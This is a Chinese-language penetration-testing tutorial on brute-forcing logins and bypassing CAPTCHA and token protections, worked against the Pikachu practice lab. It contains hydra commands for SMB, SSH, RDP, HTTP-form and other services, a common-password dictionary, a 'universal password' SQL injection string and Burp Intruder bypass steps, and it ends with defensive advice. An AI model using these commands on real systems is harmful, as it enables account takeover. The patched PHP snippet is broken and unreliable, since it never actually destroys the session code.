暴力破解及验证码安全

06-25 1661阅读

1、暴力破解注意事项

  • 1、破解前一定要有一个有效的字典(Top100 TOP2000 csdn QQ 163等密码)

  • 2、判断用户是否设置了复杂的密码

  • 3、网站是否存在验证码

  • 4、尝试登录的行为是否有限制

  • 5、网站是否双因素认证、Token值等等


    1.1可利用字典生成器软件生成:

    暴力破解及验证码安全

    也可以使用在线平台生成密码字典:

    (1)、https://www.bugku.com/mima/ 

    (2)、https://www.wetools.com/password-generator

    (3)、https://suijimimashengcheng.bmcx.com/

    (4)、https://api.bducds.com/lab/guess/


    1.5、网站是否双因素认证、Token值等等

    用抓包工具查看是否有token值;双因素认证查看登录是的需要验证码;

    可以尝试用sqlmap工具检测查看是否有注入点;


    2、登录页面可能产生那些漏洞

    • 注入点及万能密码登录

    • 弱口令暴破

    • 用户名可枚举:不安全的用户提示,一般提示用户名不存在或密码及验证码错误

    • 查看登录页面源代码,是否存在敏感信息泄露

    • 不安全的验证码

    • 在注册帐号的时候是否是否存在不安全的提示

    • 不安全的密码,在注册帐号的时候,密码没有限制复杂度

    • 在暴力破解的时候未限止ip,锁定用户

    • 一个帐号可以在多地登录,没有安全提示

    • 帐号登录之后,应该具备超时功能

    • 任意无限注册帐号

    • OA、邮件、默认帐号等相关系统,在不是自己注册的情况下,应该在登录之后要强行更改密码

    • 逻辑漏洞,任意密码重置

    • 越权漏洞,纵向,横向越权

    • 数据包含有敏感信息泄露,如cookice、内网IP地址

    • 明文传输,密码为明文,未使用https证书

    • 任意文 件下载

    • 框架漏洞,如stuts2、Thinkphp、apache log4等

    • 中间件漏洞:weblogic、Apcahe、Tomcat、Jboss等

    • 数据库漏洞,如弱口令、提权漏洞、溢出漏洞

    • 第三方应用服务所产生的漏洞,如443端口心脏滴血、873端口Rsync未授权访问、6379端口未授权访问、11211端口Memcahe端口未授权访问、111NFS充许网络资源共享

    • 目录暴破:获取敏感文件或目录


        登录页面漏洞

      强制去除字符限制、显示隐藏表单等方式:

      如:百度一下,你就知道 (baidu.com)

      用bp抓包工具--代理--勾选相关选项--刷新页面暴力破解及验证码安全

      暴力破解及验证码安全

       


        登录页面漏洞

      (1)、登录提示

       在登陆时候,输入账户及密码提示用户名错误或提示用户名正确密码错误。(中危漏洞)

      很容易用用户名字典爆力破解出来。

      正确提示:1、用户名或密码错误; 2、登陆失败,请重新登录;3、......


      (3)、密码未加密

      暴力破解及验证码安全


      (3)、注册功能:

      因填写内容与数据库交互

      容易产生sql注入(没做好过滤的话)、xss、敏感信息泄露、账号批量注册等。

       

      (1)密码未加密;手机号未加*号 :

      暴力破解及验证码安全

      (2)注册没有验证码可批量注册:

      账户添加变量:

      暴力破解及验证码安全

       粘贴账户字典:

      暴力破解及验证码安全 查看结果,成功批量注册:

      暴力破解及验证码安全


      注入点及万能密码登录

      如:

      正确用户名及密码为:

      用户名:yuan

      密码:123

      暴力破解及验证码安全

      用户名sql注入语句,输入错误密码登录:

      用户名:yuan' or 1=1--

      错误密码:666 

       登陆成功:

      暴力破解及验证码安全


       查看登录页面源代码,是否存在敏感信息泄露

      在github上查找是否有此项目源代码或在线文档、网盘,搜索开发人员是否上传到网上过相关内容;查看原代码里面的相关注释,username、password等敏感信息

      如:

      http://10.0.0.101:90/pikachu/vul/infoleak/findabc.php

      暴力破解及验证码安全

      右击网页查看源代码 

       查到有敏感信息:

      暴力破解及验证码安全


      帐号登录之后,应该具备超时功能

      如:登陆后长时间未操作,没自动掉线退出。

      暴力破解及验证码安全

      暴力破解及验证码安全

       


      数据包含有敏感信息泄露,如cookice、内网IP地址

      cookice是保存在用户本地,不建议账户名密码存在cookie里。

      通过阅览器的密码管理--破解工具--进入查看账户密码【知道管理员账户和密码或专业化工具(如LaZa密码读取工具)】

      暴力破解及验证码安全


       任意文件下载

      如:网站可以网页登录又可以下载软件登录,右击文件下载链接通过../下载其他文件。


      3、暴力破解分类

       3.1、C/S(C客户端/S服务端)

      Bruter、hydra等

      (1-1)Bruter(系统账户爆破)

      工具和字典要放在英文目录下才行

      暴力破解及验证码安全

       查看主机地址(10.0.0.101)

       暴力破解及验证码安全

       选择密码字典,系统爆破:

      暴力破解及验证码安全

      数据库密码爆破:

      暴力破解及验证码安全

      (1-2)SNETCracker 

       可以多个ip(多个ip写到记事本里)

      暴力破解及验证码安全

      暴力破解及验证码安全


      (2)hydra(kali系统)

      参数:

       

      hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

      [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]

      -R 继续从上一次进度接着破解。

      -S 采用SSL链接。

      -s PORT 可通过这个参数指定非默认端口。

      -l LOGIN 指定破解的用户,对特定用户破解。

      -L FILE 指定用户名字典。

      -p PASS 小写,指定密码破解,少用,一般是采用密码字典。

      -P FILE 大写,指定密码字典。

      -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

      -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

      -M FILE 指定目标列表文件一行一条。

      -o FILE 指定结果输出文件。

      -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

      -t TASKS 同时运行的线程数,默认为16。

      -w TIME 设置最大超时的时间,单位秒,默认是30s。

      -v / -V 显示详细过程。

      server 目标ip

      service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

      OPT 可选项

      使用:

      1.手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典

      新建user.txt:

      vi user.txt

       内容为:

      administrator

      sa

      新建password.txt 

      vi password.txt

      内容为: 

      123456789

      a123456

      admin

      test

      123456

      a123456789

      1234567890

      woaini1314

      qq123456

      abc123456

      123456a

      5836767

      888888

      123456789a

      147258369

      zxcvbnm

      987654321

      12345678910

      abc123

      qq123456789

      123456789.

      7708801314520

      woaini

      5201314520

      q123456

      123456abc

      1233211234567

      123123123

      123456.

      0123456789

      asd123456

      aa123456

      135792468

      q123456789

      abcd123456

      12345678900

      woaini520

      woaini123

      zxcvbnm123

      1111111111111111

      w123456

      aini1314

      abc123456789

      111111

      woaini521

      qwertyuiop

      1314520520

      1234567891

      qwe123456

      asd123

      000000

      1472583690

      1357924680

      789456123

      123456789abc

      z123456

      1234567899

      aaa123456

      abcd1234

      www123456

      123456789q

      123abc

      qwe123

      w123456789

      7894561230

      123456qq

      zxc123456

      123456789qq

      1111111111

      111111111

      0000000000000000

      1234567891234567

      qazwsxedc

      qwerty

      123456..

      zxc123

      asdfghjkl

      0000000000

      1234554321

      123456q

      123456aa

      9876543210

      110120119

      qaz123456

      qq5201314

      123698745

      5201314

      000000000

      as123456

      123123

      5841314520

      z123456789

      52013145201314

      a123123

      caonima

      a5201314

      wang123456

      abcd123

      123456789..

      woaini1314520

      admin888

      first

      123456asd

      aa123456789

      741852963

      a12345678

       暴力破解及验证码安全

       2.破解smb

       破解系统账户密码:

      hydra -L user.txt -P password.txt -t 1 -vV -e ns 10.0.0.101 smb
      

       [445][smb] host: 10.0.0.101   login: administrator   password: 123456

      暴力破解及验证码安全

       破解成功,直接显示结果。也可以使用 -o 选项指定结果输出文件:

      hydra -L user.txt -P password.txt -t 1 -vV -e ns 10.0.0.101 smb -o 1.txt
      

       查看导出内容:

      vi 1.txt

      暴力破解及验证码安全


      其它实例:

      1.破解ssh:

      # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

      # hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

      2.破解ftp:

      # hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

      # hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

      3.get方式提交,破解web登录:

      # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/

      # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

       4.post方式提交,破解web登录: 

      # hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

      # hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"

      (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示。)

       5.破解https:

      # hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

      6.破解teamspeak:

      # hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

      7.破解cisco:

      # hydra -P pass.txt 10.36.16.18 cisco

      # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

      8.破解smb:

      # hydra -l administrator -P top100.txt 192.168.0.102 smb

      9.破解pop3:

      # hydra -l muts -P pass.txt my.pop3.mail pop3

      10.破解rdp:

      # hydra 192.168.0.102 rdp -l administrator -P top100.txt -V

      11.破解http-proxy:

      # hydra -l admin -P pass.txt http-proxy://10.36.16.18

      12.破解imap:

      # hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

      # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

      此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果

       

      3.2、B/S(B浏览器/S服务器)

      (1)基于表单的暴力破解

      如:

       

       打开pikachu靶场环境,基于表单的暴力破解--输入账户密码进行登录--用bp抓包:

      http://10.0.0.101:90/pikachu/vul/burteforce/bf_form.php

      暴力破解及验证码安全

       发到测试器--清除变量-假设密码是md5加密--设置密码变量

      暴力破解及验证码安全

       粘贴破解字典:

      暴力破解及验证码安全

       设置密码变量为md5加密:暴力破解及验证码安全

       密码cm5加密设置成功:(

      暴力破解及验证码安全

      (2)基于验证码暴力破解

       

      • on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露

      • on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解

      • 弱验证码识别攻击


        例如:pikachu靶场环境

        (2-1)验证码绕过(on client)

        在用户的浏览器或客户端应用程序中绕过验证码检查的过程

        http://10.0.0.101:90/pikachu/vul/burteforce/bf_server.php

         右击查看源代码:(使用了标签中的代码可以用来实现前端校验,不与服务器校验)

         暴力破解及验证码安全

         用bp抓包:

        暴力破解及验证码安全

        username=§admin§&password=§123456§&vcode=§2UH1J§&submit=§Login§ 

        只要第一次抓包输入正确,批量爆破可删除验证码参数(&vcode=§2UH1J);

        发到测试器删除验证码参数、设置密码变量,添加密码字典批量爆破:

        暴力破解及验证码安全

        暴力破解及验证码安全

         成功密码爆破:

        暴力破解及验证码安全

        暴力破解及验证码安全

         on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露

         


        (2-2)验证码绕过(on server)

        输入账户密码--bp抓包--发到测试器--添加密码变量--密码粘贴爆破字典--开始攻击--全部失败:

        暴力破解及验证码安全

        刷新验证码,新的验证码直接输入bp上--开始攻击:

        成功爆破密码:(因php默认session是24分钟过期)


        暴力破解及验证码安全

         on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解 

         

        查看源代码,为后端校验::

        if (empty($_POST['vcode'])) {

                        $html .= "

        验证码不能为空哦!

        ";

                    } else {

        //              验证验证码是否正确

                        if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {

                            $html .= "

        验证码输入错误哦!

        ";

                            //应该在验证完成后,销毁该$_SESSION['vcode']

                        }else{

         

        后端校验:服务器端(后端)执行的PHP脚本进行

        暴力破解及验证码安全

         把源代码  //应该在验证完成后,销毁该$_SESSION['vcode']取消注释,验证完成后,销毁该$_SESSION['vcode']:

        if (empty($_POST['vcode'])) {

                        $html .= "

        验证码不能为空哦!

        ";

                    } else {

        //              验证验证码是否正确

                        if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {

                            $html .= "

        验证码输入错误哦!

        ";

                            $_SESSION['vcode']

                        }else{

        暴力破解及验证码安全

         重启phpstudy,重新bp抓包爆破密码:

        密码破解失败(因验证码用一次销毁一次)

         暴力破解及验证码安全

         (2-3)弱验证码识别攻击

        http://10.0.0.101:86/admin/

         暴力破解及验证码安全

         使用pkav验证码验证爆破工具:

        暴力破解及验证码安全 账户登录--用bp抓包--复制到pkav目标数据请求包处--

         暴力破解及验证码安全

        在目标数据--设置密码及验证码变量:

        暴力破解及验证码安全 变量设置--选择密码字典:

        暴力破解及验证码安全

         网站验证码--右击复制图像地址--粘贴到图片型验证码识别【验证码地址】--设置识别范围(此网站只有数字):

        暴力破解及验证码安全

         重放选项--选择自动跟踪302重定向--验证码长度--重试规则填写网站验证码输入错误的提醒内容

        暴力破解及验证码安全

         

         发包器--启动,成功爆破密码:暴力破解及验证码安全


         

        (3)基于Token破解

        由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义,一般Token在防止CSRF上会有比较好的功效。

         

        如:pikachu靶场环境

        token防爆破?

        http://10.0.0.101:90/pikachu/vul/burteforce/bf_token.php

         暴力破解及验证码安全

        尝试添加密码变量,字典爆破:

        全部失败:

        暴力破解及验证码安全

         设置密码和token变量;破解方式为音叉:

        暴力破解及验证码安全

         变量1粘贴密码字典:

        暴力破解及验证码安全 变量2有效载荷设置为递归搜索:

        暴力破解及验证码安全 选项里Grep-Extract设置好开始token" value="          结束为" /> 

        暴力破解及验证码安全 线程设为为1:

        暴力破解及验证码安全

         登陆成功:

        暴力破解及验证码安全

        说明:输入上一次响应体的token带入到下一次破解请求体里:

        暴力破解及验证码安全


         4、暴力破解安全防范

        • 1) 强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwaded-For绕过了!

        • 2) 验证码只能用一次,用完立即过期!不能再次使用

        • 3) 验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。

        • 4) 大网站最好统一安全验证码,各处使用同一个验证码接口。


           

          声明:

          • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

             

             

VPS购买请点击我

文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

目录[+]